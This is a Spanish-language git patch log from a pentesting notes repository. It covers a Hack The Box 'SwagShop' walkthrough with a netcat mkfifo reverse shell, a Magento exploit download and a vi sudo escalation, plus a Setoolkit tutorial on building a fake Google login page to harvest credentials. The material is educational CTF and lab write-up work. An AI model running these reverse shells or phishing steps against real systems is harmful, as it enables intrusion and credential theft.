nos reporta un ttl=63, por tanto ya sabemos que estamos frente una máquina Linux. +Ejecutamos un `ping` y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux. ping -c 1 10.10.10.140 @@ -30,13 +30,13 @@ Ahora vamos a ver mediante `whatweb` que más podemos ver: ![Captura de pantalla -2022-05-05 02-39-19](https://user-images.githubusercontent.com/103068924/166848663-edca5cac-63bb-4236-b4b4-cf68c88f8ebf.png) -Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio `http` el cual esta basado en `Magento`. +Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio `http` el cual está basado en `Magento`. ### ¿Qué es Magento? -Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes realizar todo tipo de proyectos relacionados a la creación de páginas web de venta en Internet. +Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet. -Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web. +Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web. ### NMAP @@ -50,7 +50,7 @@ Vemos como nos reporta el puerto 80 y el puerto 20. ![Captura de pantalla -2022-05-04 21-48-00](https://user-images.githubusercontent.com/103068924/166835551-74619704-5005-4bfa-8a8e-ada9c5b248f1.png) -Intentamos ver el dominio `http://10.10.10.140/` y vemos como nos redirige hasta `swagshop.htb` pero no nos permite ver la página. Para ello vamos +Intentamos ver el dominio `http://10.10.10.140/` y vemos como nos redirige hasta `swagshop.htb`, pero no nos permite ver la página. Para ello vamos a registrar el dominio en nuestra carpeta `/etc/hosts` e introducimos la Ip de la máquina víctima y el host `swagshop.htb`: ![Captura de pantalla -2022-05-05 00-29-52](https://user-images.githubusercontent.com/103068924/166835861-a5bb2cab-8754-4ba7-a402-d8e06a4da5fe.png) @@ -69,7 +69,7 @@ Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página. ![Captura de pantalla -2022-05-05 00-34-40](https://user-images.githubusercontent.com/103068924/166836426-d24198d0-c201-4f08-8389-160da3d98691.png) -Pasamos a revisar la página. Como podemos ver la página es bastante funcional,se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registranos +Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos. ### Gobuster @@ -79,7 +79,7 @@ En caso de no tener la herramienta la instalamos: sudo apt install gobuster -Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado `directory-list-2.3-medium.txt` en cual es parte del repositorio `seclists` +Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado `directory-list-2.3-medium.txt` el cual es parte del repositorio `seclists` Para descargar el repositorio: @@ -89,20 +89,20 @@ Ya tenemos `gobuster` y el repositorio `seclists`, ahora procederemos con el esc gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -`dir` : Se utiliza para especificar la opción de directorios. +`dir` : Se usa para especificar la opción de directorios. -`-u` : Se utiliza para especificar una `url`. +`-u` : Se emplea para especificar una `url`. -`-w` : Especifica el diccionario que vamos a utilizar. +`-w` : Especifica el diccionario que vamos a usar. ![Captura de pantalla -2022-05-05 00-52-50](https://user-images.githubusercontent.com/103068924/166838244-3192932e-4622-4025-b308-a1ed407dab98.png) -Podemos ver que nos reporta una serie de directorios. Tras revisarlos, veo que el directorio `app` contiene otros directorios. +Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio `app` contiene otros directorios. ![Captura de pantalla -2022-05-05 00-56-51](https://user-images.githubusercontent.com/103068924/166838568-e8ea2e18-29aa-4d63-a2fd-4c980c81cf09.png) Esto podemos confirmarlo -volviendo a pasar el `gobuster` e incluyendo el directio `app` en la url. +volviendo a pasar el `gobuster` e incluyendo el directorio `app` en la url. ![Captura de pantalla -2022-05-05 01-01-17](https://user-images.githubusercontent.com/103068924/166838976-29735406-7024-4fde-a886-ffdddc691719.png) @@ -110,8 +110,8 @@ Vamos a tratar de acceder al directorio `app` desde el navegador. ![Captura de pantalla -2022-05-04 22-45-46](https://user-images.githubusercontent.com/103068924/166839104-d366e1de-3b61-4e96-adc9-ecfbc824cb1e.png) -Tras ir revisando los directirios, encontramos que dentro de `etc/` en el -archivo `local.xml` econtramos una credenciales. +Tras ir verificando los directorios, encontramos que dentro de `etc/` en el +archivo `local.xml` encontramos unas credenciales. ![Captura de pantalla -2022-05-05 01-04-03](https://user-images.githubusercontent.com/103068924/166839564-e6fa7c34-2b81-4424-9f65-56f3e87c174b.png) @@ -121,11 +121,11 @@ Vemos como nos reporta un username como `root` y una password: ![Captura de pantalla -2022-05-05 01-04-59](https://user-images.githubusercontent.com/103068924/166839580-c73b2080-e56c-4ecb-936f-db53283bd1a2.png) -Guardaremos esta información en caso de que nos sea util más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta -escrita en python3, la cual nos permite crear una reverse shell en paginas creadas con Magento. Para ello la herramienta nos registra automaticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define +Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta +escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define `str` tanto como usuario como contraseña. -Para descargar la herramienta en nuesto dierectorio actual: +Para descargar la herramienta en nuestro directorio actual: wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py @@ -143,16 +143,16 @@ Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host Vemos como funciona perfectamente y como nos reconoce como `www-data`. -Desde aquí ya podriamos hacer cositas, reportando distintos comando podríamos -ir interacuando con el sistema pero no es practico. Para poder trabajar bien -vamos a tratar de montar una shell mñas cómoda. +Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos +ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien +vamos a tratar de montar una shell más cómoda. -Para ello vamos a ver primero si disponemos de `netcat` para tratar de establer una reverse shell: +Para ello vamos a ver primero si disponemos de `netcat` para tratar de establecer una reverse shell: python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php Vemos que si disponemos de netcat. Ahora vamos a tratar de establecer una -reverse shell. En el siguiente enlace, podreis ver una gran repertorio +reverse shell. En el siguiente enlace, podréis ver una gran repertorio de herramientas desde las que establecer shells inversas. Nosotros vamos a utilizar la de Netcat: @@ -161,13 +161,13 @@ Nosotros vamos a utilizar la de Netcat: ![Captura de pantalla -2022-05-05 01-46-13](https://user-images.githubusercontent.com/103068924/166850489-e62e07a6-eda5-4ef7-9759-723deff77eec.png) -Pimero preparamos en una terminal a parte, con nuestro comando netcat `nc` en escucha por el puerto `8080`. +Primero preparamos en una terminal aparte, con nuestro comando netcat `nc` en escucha por el puerto `8080`. nc -lnvp 8080 ![Captura de pantalla -2022-05-05 09-09-31](https://user-images.githubusercontent.com/103068924/166876948-fc9519f0-429a-4a41-b23f-86b89ec86d43.png) -Finalmente especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, tambien especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, `8080`. +Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, `8080`. python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php @@ -200,13 +200,13 @@ Y terminamos reseteando la shell: ![Captura de pantalla -2022-05-05 09-17-59](https://user-images.githubusercontent.com/103068924/166877905-58e6f441-7889-4d9d-b1d4-386576924715.png) -Ahora ya tenemos una shell más estable y potente. Tambien podemos cerrar la terminal de escucha por `nc` ya que esta +Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por `nc`, ya que esta shell es independiente y no se nos caerá. -Como vemos la shell nos permite utilizar `Cntrl + c` sin expulsarnos pero aún no nos permite utilizar `Cntrl + l` para +Como vemos la shell nos permite utilizar `Cntrl + c` sin expulsarnos, pero aún no nos permite utilizar `Cntrl + l` para limpiar la shell y si utilizamos un `nano`, vemos como tampoco aprovecha todo el monitor. -Aún que con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. +Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. Para ello primero solucionaremos el problema del `Cntrl +l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` y nosotros queremos que igual que nuestra shell, valga `xterm`: @@ -223,15 +223,15 @@ Vemos como nos reporta `dump`. Para cambiarlo introducimos el siguiente comando: ![Captura de pantalla -2022-05-05 09-38-46](https://user-images.githubusercontent.com/103068924/166882034-d54cce35-d4ea-4fb5-96fa-52525ab3c4d0.png) -Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuesta -shell, para ello primero debemos conocer que medidas tiene nuestro monitor para porder ajustarlo, para verlo, abrimos una terminal nueva desde nuestros directorio e intruducimos: +Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuestra +shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos: stty size ![Captura de pantalla -2022-05-05 09-39-53](https://user-images.githubusercontent.com/103068924/166882118-30d9ed4c-860c-4570-a012-cb01760ab413.png) -Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo ralizamos lo siguiente: +Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente: stty size @@ -243,13 +243,13 @@ Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver media ### Búsqueda de la primera Flag -Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemene nos dirigimos al directorio raiz `/`: +Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz `/`: cd / ![Captura de pantalla -2022-05-05 09-42-37](https://user-images.githubusercontent.com/103068924/166882396-a0bccd4e-d044-46f1-a1bb-eede2f31b9db.png) -Y vamos a la carpeta `/home/haris` donde econtraremos el primer archivo `user.txt` con la primera flag. +Y vamos a la carpeta `/home/haris` donde encontraremos el primer archivo `user.txt` con la primera flag. ![Captura de pantalla -2022-05-05 09-43-43](https://user-images.githubusercontent.com/103068924/166882451-e9cfb587-c226-41ee-9de7-4db5ff5fd93e.png) @@ -288,7 +288,7 @@ Y ahora visualizamos las tablas: ![Captura de pantalla -2022-05-05 02-08-48](https://user-images.githubusercontent.com/103068924/166851761-301986d3-9d61-4d90-8e09-b37fc0f94236.png) -Vemos como se nos reportan un monton, pero una de las más interesantes es `admin_user`. Para ver mas información: +Vemos como se nos reportan un mentón, pero una de las más interesantes es `admin_user`. Para ver más información: describe admin_user; @@ -300,12 +300,12 @@ Vamos a ver que se nos reporta dentro de `username` y `password`: ![Captura de pantalla -2022-05-05 10-10-11](https://user-images.githubusercontent.com/103068924/166887447-06cbc0df-63c9-4eaa-a2ab-2e284b11654b.png) -Vemos como nos reporta dos usuarios, `forme` que es el usuario que creamos nosotros a traves del script de python3 y `haris` el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña. +Vemos como nos reporta dos usuarios, `forme` que es el usuario que creamos nosotros a través del script de python3 y `haris` el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña. -Al no poder econtrar la password decidi buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita +Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita registrarnos como sudo. -Lo primero es saber si tenemos algún tipo se privilegios: +Lo primero es saber si tenemos algún tipo de privilegios: sudo -l @@ -326,10 +326,10 @@ debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver la ![Captura de pantalla -2022-05-05 10-39-54](https://user-images.githubusercontent.com/103068924/166892361-80f52384-3136-425d-850c-29342a72a5f9.png) -Podemos ver que nos econtramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario -que nos permite aprovechar los permisos anteriores y registranos como `root`. +Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario +que nos permite aprovechar los permisos anteriores y regístranos como `root`. -Aquí podeis ver la págian donde reportan el binario: [https://gtfobins.github.io/gtfobins/vi/](https://gtfobins.github.io/gtfobins/vi/) +Aquí podéis ver la página donde reportan el binario: [https://gtfobins.github.io/gtfobins/vi/](https://gtfobins.github.io/gtfobins/vi/) ![Captura de pantalla -2022-05-05 02-19-31](https://user-images.githubusercontent.com/103068924/166852292-ce2463a1-2c01-4e04-9ebf-1c157e38df85.png) @@ -345,7 +345,7 @@ Para poder introducir el binario y utilizar los permisos que tenemos, debemos re ![Captura de pantalla -2022-05-05 10-18-06](https://user-images.githubusercontent.com/103068924/166892617-156e59bb-4084-4bf3-a51b-899e4b15f562.png) -Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente para encontrar nuestra flag, nos dirigimos al directorio `/root` donde encontramos el archivo `root.txt` con nuestra ultima flag. +Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio `/root` donde encontramos el archivo `root.txt` con nuestra última flag. ![Captura de pantalla -2022-05-05 10-18-19](https://user-images.githubusercontent.com/103068924/166892662-41b701a5-2f48-4aa0-a469-613deb2e8f90.png) From 9b9df6c806ae4a2cb3f02f7c60f6b716dd6b9b28 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 6 May 2022 09:08:28 +0200 Subject: [PATCH 0217/1701] Create HTB-RouterSpace.md --- Maquinas-HTB/HTB-RouterSpace.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 Maquinas-HTB/HTB-RouterSpace.md diff --git a/Maquinas-HTB/HTB-RouterSpace.md b/Maquinas-HTB/HTB-RouterSpace.md new file mode 100644 index 00000000000..15ab72f7fda --- /dev/null +++ b/Maquinas-HTB/HTB-RouterSpace.md @@ -0,0 +1 @@ +# RouterSapace From bc2efea7e4af0ab71ae1c4ab4100694c1ba4c796 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 7 May 2022 11:22:57 +0200 Subject: [PATCH 0218/1701] Update index.md --- index.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 78a926716ee..4756c2af332 100644 --- a/index.md +++ b/index.md @@ -38,7 +38,7 @@ Herramientas para crear shells inversas. [php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) ## Hash: -Herramientas de reconocimiento y des encriptación de hash. +Herramientas de reconocimiento y desencriptación de hash. 1.[John the Ripper](./Herramientas_y_Scripts/john_the_ripper.html) 2.[HashID](./Herramientas_y_Scripts/HashId.html) @@ -52,6 +52,12 @@ para encontrar potenciales filtraciones de memoria. [Wfuzz](./Herramientas_y_Scripts/Wfuzz.html) +## Phishing: +Phishing es un término informático que distingue a un conjunto de técnicas que persiguen el engaño a una víctima ganándose su confianza haciéndose +pasar por una persona, empresa o servicio de confianza, para manipularla y hacer que realice acciones que no debería realiza. + +[Setoolkit](./Herramientas_y_Scripts/Setoolkit.html) + ## WordPress: Escaneo de vulnerabilidades en páginas WordPress. From 1ae65ad416b44fc7c6db64a3d21a56609c6cf381 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 7 May 2022 11:52:54 +0200 Subject: [PATCH 0219/1701] Create Setoolkit.md --- Herramientas_y_Scripts/Setoolkit.md | 46 +++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 Herramientas_y_Scripts/Setoolkit.md diff --git a/Herramientas_y_Scripts/Setoolkit.md b/Herramientas_y_Scripts/Setoolkit.md new file mode 100644 index 00000000000..56353ccb1e7 --- /dev/null +++ b/Herramientas_y_Scripts/Setoolkit.md @@ -0,0 +1,46 @@ +![PicsArt_07-15-08 46 53](https://user-images.githubusercontent.com/103068924/167248447-1a933ca8-3d5c-426a-8450-c7595ee5b7cd.png) + +# Setoolkit + +## ¿Qué es Setoolkit? + + Se trata de un kit de herramientas de ingeniería social (SET) creado por Devid Kennedy. El equipo de Devid mantiene muy activo su set de herramientas + de forma que siempre se agregan nuevas funciones y ataques. Más recientemente, también se agregaron varias herramientas de ingeniería no social a SET, + lo que la convierte en una herramienta de ataque muy sólida. + +## Instalación: + +Para instalar esta herramienta realizaremos lo siguiente, primero vamos a nuestro escritorio y creamos una carpeta llamada `SEToolkit`: + + cd Desktop + + mkdir SEToolkit + + cd SEToolkit + +Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio `SEToolkit`: + + git clone https://github.com/trustedsec/social-engineer-toolkit setoolkit/ + +Una vez clonado, entramos en el directorio `setoolkit`: + + cd setoolkit + +Podemos ver mediante `ls` todos los archivos clonados. Ahora procederemos a la instalación de todos los +requisitos necesarios para Setoolkit: + + sudo pip3 install -r requirements.txt + +Y finalmente realizamos la intalación de la herramienta: + + sudo python setup.py + +Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario +normal no os permite utilizarla es porque os faltan permisos de ejecución y por tanto +tendreís que utilizar la herramienta como `root`. + + +## Ejecución: + + sudo setoolkit + From 2578dba8fd4759e2aab1400e0c15b8d7f1dd5194 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 7 May 2022 13:10:53 +0200 Subject: [PATCH 0220/1701] Update Setoolkit.md --- Herramientas_y_Scripts/Setoolkit.md | 121 +++++++++++++++++++++++++++- 1 file changed, 118 insertions(+), 3 deletions(-) diff --git a/Herramientas_y_Scripts/Setoolkit.md b/Herramientas_y_Scripts/Setoolkit.md index 56353ccb1e7..4e53b250e9d 100644 --- a/Herramientas_y_Scripts/Setoolkit.md +++ b/Herramientas_y_Scripts/Setoolkit.md @@ -1,46 +1,161 @@ ![PicsArt_07-15-08 46 53](https://user-images.githubusercontent.com/103068924/167248447-1a933ca8-3d5c-426a-8450-c7595ee5b7cd.png) + # Setoolkit + ## ¿Qué es Setoolkit? + Se trata de un kit de herramientas de ingeniería social (SET) creado por Devid Kennedy. El equipo de Devid mantiene muy activo su set de herramientas de forma que siempre se agregan nuevas funciones y ataques. Más recientemente, también se agregaron varias herramientas de ingeniería no social a SET, lo que la convierte en una herramienta de ataque muy sólida. ## Instalación: + Para instalar esta herramienta realizaremos lo siguiente, primero vamos a nuestro escritorio y creamos una carpeta llamada `SEToolkit`: + cd Desktop mkdir SEToolkit + cd SEToolkit Ahora nos clonaremos el siguiente repositorio de GitHub en el directorio `SEToolkit`: + git clone https://github.com/trustedsec/social-engineer-toolkit setoolkit/ Una vez clonado, entramos en el directorio `setoolkit`: + cd setoolkit Podemos ver mediante `ls` todos los archivos clonados. Ahora procederemos a la instalación de todos los requisitos necesarios para Setoolkit: + sudo pip3 install -r requirements.txt -Y finalmente realizamos la intalación de la herramienta: +Y finalmente realizamos la instalación de la herramienta: + sudo python setup.py + Con esto ya tendríamos instalada nuestra herramienta. Importante, si el usuario -normal no os permite utilizarla es porque os faltan permisos de ejecución y por tanto -tendreís que utilizar la herramienta como `root`. +normal no os permite utilizarla es porque os faltan permisos de ejecución y, por tanto, +tendréis que utilizar la herramienta como `root`. ## Ejecución: +Para ejecutarlo y poder acceder a sus multiples herramientas, simplemente ejecutamos lo siguiente: + sudo setoolkit + ![Captura de pantalla -2022-05-07 11-59-13](https://user-images.githubusercontent.com/103068924/167250786-283ec573-70f5-4078-a2f2-d91efb79ab8a.png) + +La interfaz de SET es muy intuitiva, simplemente tendremos que marcar los número del panel en función del tipo de ataque que +queramos realizar, y tambien, proporciona mucha información mediante en cada uno de sus paneles de opciones guiandote durante todo +el proceso. + +![Captura de pantalla -2022-05-07 12-01-03](https://user-images.githubusercontent.com/103068924/167250791-12fd0a22-0e19-4bde-a4a0-87794bba7b38.png) + + +# Crear una página falsa para capturar credenciales: + +En este ejemplo, voy a mostrar como crear mediante la herramienta SEToolkit como crear una página falsa de autentificación de google, tambien +es posible aplicarlo a infinidad de paginas de registro o de relleno de credenciales, pero para el ejemple utilizaremos una que viene +predefinida en la herramienta. + +Utilizando estos metedos los civercriminales engañana a sus víctimas haciendose pasar por cualquier tipo de servicio o entidad y de esta +forma robarles todos los datos posibles, desde nombres o usuarios, hasta cuentas bancarias, números de tarjetas de crédito, contraseñas, etc +intedependientemente de la longitud o dificultad de la contraseña, ya que simplemente se reporta al atacante cuando se ingresa dicha información. + +En primer lugar vamos a comprender como se realiza el ataque: + + 1. Primero crearemos mediante `Setoolkit` una página falsa de inició de sesión de google. + 2. Está página quedara registrada en nuestra `localhost`. + 3. Finalmente cuando se introduzcan las credenciales en la página, se nos reportaran en la terminal del programa. + +Esto es una ejemplo muy simple que voy a mostrar como prueba, se puede realizar este ataque de formas mucho más complejas y dificiles de detectar. +Recalco que utilizar está herramienta con alguien que no te lo haya autorizado es completamente ilegal y que este artículo està escrito con la +finalidad de mostrar como actuan los cibercriminales. Dicho esto vamos a ver el ejemplo. + +### Crear página de inicio de sesión de Google: + +Ejecutamos la herramienta y seguimos los siguientes pasos: + + sudo setoolkit + +![Captura de pantalla -2022-05-07 11-59-13](https://user-images.githubusercontent.com/103068924/167250804-90bf9142-c2a1-4b1e-985d-14566ee0b982.png) + + +La herramienta que vamos a utilizar es la `Social-Engienering Attacks` que corresponde al número `1`. Tener en cuenta que los números pueden +variar en función de la versión ya que periodicamente se incluyen herramientas y funciones. Introducimos `1` y pulsamos `Enter`: + + 1 + +![Captura de pantalla -2022-05-07 12-03-51](https://user-images.githubusercontent.com/103068924/167250899-22e40731-f986-49bb-8770-fc69cc8c116b.png) + +Ahora vamos a seleccionar el metodo de ataque `Website Attack Vectors` que me corresponde con el número `2`: + + 2 + +![Captura de pantalla -2022-05-07 12-04-11](https://user-images.githubusercontent.com/103068924/167250973-973ac307-8a93-45c4-87b6-41c3513bc368.png) + +Lo siguiente que le debemos de indicar, es el tipo de ataque web que vamos a utilizar, en este caso, que lo que queremos es robar sus credenciales, +utilizaremos el modo `Credential Harvester Attack Method` que corresponde con el número `3`: + + 3 + +![Captura de pantalla -2022-05-07 12-05-00](https://user-images.githubusercontent.com/103068924/167251054-2845cb88-ef30-4c65-b09d-b16145fae9f1.png) + +Ya lo tenemos casi, solo nos queda especificar que clase de página vamos a mostrar. Como veis tambien nos da la opción `2` que es la de clonar +algún sitio web y así ajustarse más al tipo de víctima. En nuestro caso vamos a seleccionar la opción `1` que ya nos muestra algunas páginas web +que la herramienta nos muestra de serie, aśi que seleccionaremos `Web Templates`: + + 1 + +![Captura de pantalla -2022-05-07 12-06-26](https://user-images.githubusercontent.com/103068924/167251456-d2a336e5-e0af-4c42-a658-febfdfe64f0f.png) + +Vemos como la misma herramienta nos muestra tres opciones predefinidas, `Java`, `Google` y `Twitter`. Vamos utilizar la de `Google` así que marcamos +la `2`. + +![Captura de pantalla -2022-05-07 12-06-43](https://user-images.githubusercontent.com/103068924/167251217-4f4929d6-6c91-43fe-971c-9c5e069937e1.png) + +En caso de preguntarnos si utilizamos NAT se lo indicamos y luego simplemente presionamos `enter` y veremos como el sistema se quedará a la escucha: + +![Captura de pantalla -2022-05-07 12-08-14](https://user-images.githubusercontent.com/103068924/167251508-2b5246f0-f6fc-4ed3-a212-375c66b1b88b.png) + +La página ya esta completamente funcional, ahora simplemente nos dirigimos a un navegador, en mi caso firefox y para ejecutar la página escribimos +`localhost` o `127.0.0.1` que es donde se aloja la página de forma predeterminada. Esto podemos cambiralo pero para este tutorial nos sobrará. +Vamos al navegador y abrimos la página: + +![Captura de pantalla -2022-05-07 12-08-42](https://user-images.githubusercontent.com/103068924/167251622-431634e3-348c-4e9a-83d2-61c668831ec9.png) + + +![Captura de pantalla -2022-05-07 12-08-56](https://user-images.githubusercontent.com/103068924/167251629-6efa83d6-019c-4535-a55e-a7b4ef96d17f.png) + + +![Captura de pantalla -2022-05-07 12-09-11](https://user-images.githubusercontent.com/103068924/167251634-4a089f24-3f1a-4fb4-86a9-67dbc21332f1.png) + + +Como vemos la página es muy realista, ahora simplemente escribimos unas credenciales (no tienen poque ser validas, el programa nos reportara todo +lo que se escriba). Para que se vea que esto funciona independientemente de la dificultad de la contraseña, hemos introducido una password con +variedad de caracteres. + +![Captura de pantalla -2022-05-07 12-10-00](https://user-images.githubusercontent.com/103068924/167251722-c20563b1-2765-41fc-a781-8ec01110a1b4.png) + +![Captura de pantalla -2022-05-07 12-10-17](https://user-images.githubusercontent.com/103068924/167251727-335e63bb-4617-4f40-9d80-132528b28293.png) + +Y finalmente podemos ver como se nos reporta todo en la terminal desde la cual ejecutamos el ataque: + +![Captura de pantalla -2022-05-07 12-10-37](https://user-images.githubusercontent.com/103068924/167251748-0c989b4d-453f-4849-8508-71b0b71283e1.png) + + + From 00d051cf8a245ef2e1805367a940809f2cae6614 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 7 May 2022 13:17:24 +0200 Subject: [PATCH 0221/1701] Update Setoolkit.md --- Herramientas_y_Scripts/Setoolkit.md | 48 ++++++++++++++--------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/Herramientas_y_Scripts/Setoolkit.md b/Herramientas_y_Scripts/Setoolkit.md index 4e53b250e9d..abbee3c7ce3 100644 --- a/Herramientas_y_Scripts/Setoolkit.md +++ b/Herramientas_y_Scripts/Setoolkit.md @@ -53,14 +53,14 @@ tendréis que utilizar la herramienta como `root`. ## Ejecución: -Para ejecutarlo y poder acceder a sus multiples herramientas, simplemente ejecutamos lo siguiente: +Para ejecutarlo y poder acceder a sus múltiples herramientas, simplemente ejecutamos lo siguiente: sudo setoolkit ![Captura de pantalla -2022-05-07 11-59-13](https://user-images.githubusercontent.com/103068924/167250786-283ec573-70f5-4078-a2f2-d91efb79ab8a.png) -La interfaz de SET es muy intuitiva, simplemente tendremos que marcar los número del panel en función del tipo de ataque que -queramos realizar, y tambien, proporciona mucha información mediante en cada uno de sus paneles de opciones guiandote durante todo +La interfaz de SET es muy intuitiva, simplemente tendremos que marcar el número del panel en función del tipo de ataque que +queramos realizar, y también, proporciona mucha información mediante en cada uno de sus paneles de opciones guiándote durante todo el proceso. ![Captura de pantalla -2022-05-07 12-01-03](https://user-images.githubusercontent.com/103068924/167250791-12fd0a22-0e19-4bde-a4a0-87794bba7b38.png) @@ -68,23 +68,23 @@ el proceso. # Crear una página falsa para capturar credenciales: -En este ejemplo, voy a mostrar como crear mediante la herramienta SEToolkit como crear una página falsa de autentificación de google, tambien -es posible aplicarlo a infinidad de paginas de registro o de relleno de credenciales, pero para el ejemple utilizaremos una que viene +En este ejemplo, voy a mostrar como crear mediante la herramienta SEToolkit como crear una página falsa de autentificación de Google, también +es posible aplicarlo a infinidad de páginas de registro o de relleno de credenciales, pero para el ejemplo usaremos una que viene predefinida en la herramienta. -Utilizando estos metedos los civercriminales engañana a sus víctimas haciendose pasar por cualquier tipo de servicio o entidad y de esta -forma robarles todos los datos posibles, desde nombres o usuarios, hasta cuentas bancarias, números de tarjetas de crédito, contraseñas, etc -intedependientemente de la longitud o dificultad de la contraseña, ya que simplemente se reporta al atacante cuando se ingresa dicha información. +Empleando estos metedos, los cibercriminales engañan a sus víctimas haciéndose pasar por cualquier tipo de servicio o entidad y de esta +forma robarles todos los datos posibles, desde nombres o usuarios, hasta cuentas bancarias, números de tarjetas de crédito, contraseñas, etc, +interdependientemente de la longitud o dificultad de la contraseña, ya que simplemente se reporta al atacante cuando se ingresa dicha información. -En primer lugar vamos a comprender como se realiza el ataque: +En primer lugar, vamos a comprender como se realiza el ataque: - 1. Primero crearemos mediante `Setoolkit` una página falsa de inició de sesión de google. - 2. Está página quedara registrada en nuestra `localhost`. - 3. Finalmente cuando se introduzcan las credenciales en la página, se nos reportaran en la terminal del programa. + 1. Primero generaremos mediante `Setoolkit` una página falsa se inició de sesión de Google. + 2. Esta página quedará registrada en nuestra `localhost`. + 3. Finalmente, cuando se introduzcan las credenciales en la página, se nos reportaran en la terminal del programa. -Esto es una ejemplo muy simple que voy a mostrar como prueba, se puede realizar este ataque de formas mucho más complejas y dificiles de detectar. -Recalco que utilizar está herramienta con alguien que no te lo haya autorizado es completamente ilegal y que este artículo està escrito con la -finalidad de mostrar como actuan los cibercriminales. Dicho esto vamos a ver el ejemplo. +Esto es un ejemplo muy simple que voy a mostrar como prueba, se puede realizar este ataque de maneras mucho más complejas y difíciles de detectar. +Recalco que emplear está herramienta con alguien que no te lo haya autorizado es completamente ilegal y que este artículo esta escrito con la 